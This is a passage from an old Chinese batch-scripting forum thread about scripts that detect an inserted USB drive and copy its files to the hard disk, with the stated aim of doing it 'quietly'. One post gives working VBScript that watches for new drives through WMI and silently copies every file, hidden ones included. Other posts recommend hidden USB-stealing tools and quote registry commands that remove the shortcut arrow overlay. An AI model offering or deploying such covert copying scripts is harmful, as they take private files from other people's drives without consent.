|
dj0733
初级用户
积分 138
发帖 55
注册 2007-2-2
状态 离线
|
『第
16 楼』:
我也来研究一下～！
我要的是要显示，，并且提示复制成功！
是从文件夹Copy 到U盘。。。。
要是H:插入CP 到H：
要是G:插入CP 到G:
一次性来两个。。就两个全部提示。。
要是没有找U_DISK到就不Copy。。。
呵呵。。LZ 帮搞个简单的，。不要什么安装啊，什么的。。
兄弟们帮忙研究一下，，，
|
|
 2007-2-2 07:18 |
|
|
jmz573515
银牌会员
积分 1212
发帖 464
注册 2006-12-13
状态 离线
|
『第
17 楼』:
加分~
不过好像不能成功终止，不知道各位的是不是这样？
|
|
|
2007-2-2 08:30 |
|
|
heicai
中级用户
积分 385
发帖 156
注册 2007-1-19
状态 离线
|
『第
18 楼』:
楼主，不知我新人能不能说句话。
貌似你copy.cmd里有句代码参数不严谨。
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
我觉得应该加个 /c
/C 即使有错误，也继续复制。
|
|
|
2007-2-2 11:21 |
|
|
heicai
中级用户
积分 385
发帖 156
注册 2007-1-19
状态 离线
|
『第
19 楼』:
本人相当佩服楼主的IDEA，更佩服各位的实力。
|
|
|
2007-2-2 11:22 |
|
|
heicai
中级用户
积分 385
发帖 156
注册 2007-1-19
状态 离线
|
『第
20 楼』:
reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
请教！删除这个是什么作用
|
|
|
2007-2-2 11:27 |
|
|
lyflpf
新手上路
积分 17
发帖 9
注册 2007-3-12
状态 离线
|
|
|
2007-3-12 09:48 |
|
|
andysky
初级用户
积分 50
发帖 21
注册 2007-3-13
状态 离线
|
『第
22 楼』:
| Quote: | Originally posted by gene771771 at 2006-11-29 12:29 AM:
有个仙要我写一个批处理，先判断U盘是否已插入，要是插入就自动COPY所有内容到硬盘，而且还要悄悄的。。。我左思右想，还是想不 ... |
|
网上有U盘大盗,还有闪盘窥探者
可以实现你所有要求,是完全隐藏运行的.
附件
1:  1.PNG (2007-3-15 06:53, 7.05 K,下载次数： 24)
|
|
|
2007-3-15 06:53 |
|
|
chengmo
新手上路
积分 9
发帖 5
注册 2007-3-19
状态 离线
|
『第
23 楼』:
用PING会不会占用太多系统资源和有时间的限制，用SLEEP有时间的限制，，
比如我改为从电脑COPY文件到移动，那就不太实用了，，要让COPY百发百中，不管
时间长短就行，
如果在不用到第三方软件的情况常驻内存那真是太好了，
顺便问一下，这个问题用C语言来实现该如何做（不在该在这里问C，不好意思）
|
|
|
2007-3-19 01:10 |
|
|
546474
中级用户
积分 247
发帖 123
注册 2007-4-17
状态 离线
|
『第
24 楼』:
回帖的真不少，是热门话题。写得太复杂了。
|
|
|
2007-5-3 11:07 |
|
|
axi
中级用户
脚本爱好者
积分 238
发帖 93
注册 2007-3-11
来自 GZ
状态 离线
|
『第
25 楼』:
监视新增驱动器并复制其中文件到硬盘中
其实用VBS可以完成此工作，且隐藏进行（如下例）。这个脚本的好处是，对那些识别为移动硬盘类型的U盘也可以成功复制文件。
1. 监视新增所有驱动器，并复制所有新驱动器中的文件到D盘下
'随时监视插入的U盘或移动硬盘，有则自动复制其中的所有文件到d:\Tmp中
'把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
'注意：包括隐藏和系统属性的文件或文件夹均被复制
'覆盖true 不覆盖false 不能覆盖具有只读属性的文件和文件夹
'若出现多个新盘符的话，每个盘中的文件均被复制
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
NewDri = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri & "\*","d:\Tmp\",true
End If
End If
Loop 2.监视新增驱动器，只复制其中第1个分区中的所有文件到D盘下
Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
i=i + 1
NewDri(i) = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
End If
End If
Loop
|
|
|
2007-5-3 12:41 |
|
|
flying008
中级用户
积分 245
发帖 103
注册 2006-6-30
状态 离线
|
『第
26 楼』:
现在对BAT和VBS看来要两手抓，两手硬才行啊……
AXI，偶对阁下的佩服犹如滔滔江水连绵不绝……
|
|
|
2007-5-3 12:52 |
|
|
blackbean
新手上路
积分 2
发帖 1
注册 2007-5-16
状态 离线
|
『第
27 楼』:
闪盘窥探者－好东西
如何记录插入u盘后拷贝的内容，具体什么名称及内容
|
|
|
2007-5-16 09:42 |
|
|
yanclhaill
新手上路
积分 2
发帖 1
注册 2007-6-6
状态 离线
|
|
|
2007-6-6 10:34 |
|
|
yf210yf
新手上路
积分 0
发帖 1
注册 2007-6-11
状态 离线
|
『第
29 楼』:
有适用于2000的么？
有适用于2000的么？
|
|
|
2007-6-12 10:16 |
|
|
koala
初级用户
Batchs上議院參議長
积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
|
『第
30 楼』:
我有 u盘
顶一个
|
『生如夏花之绚烂
死若秋叶之静美』 dos做到了 |
|
|
2007-7-3 20:09 |
|
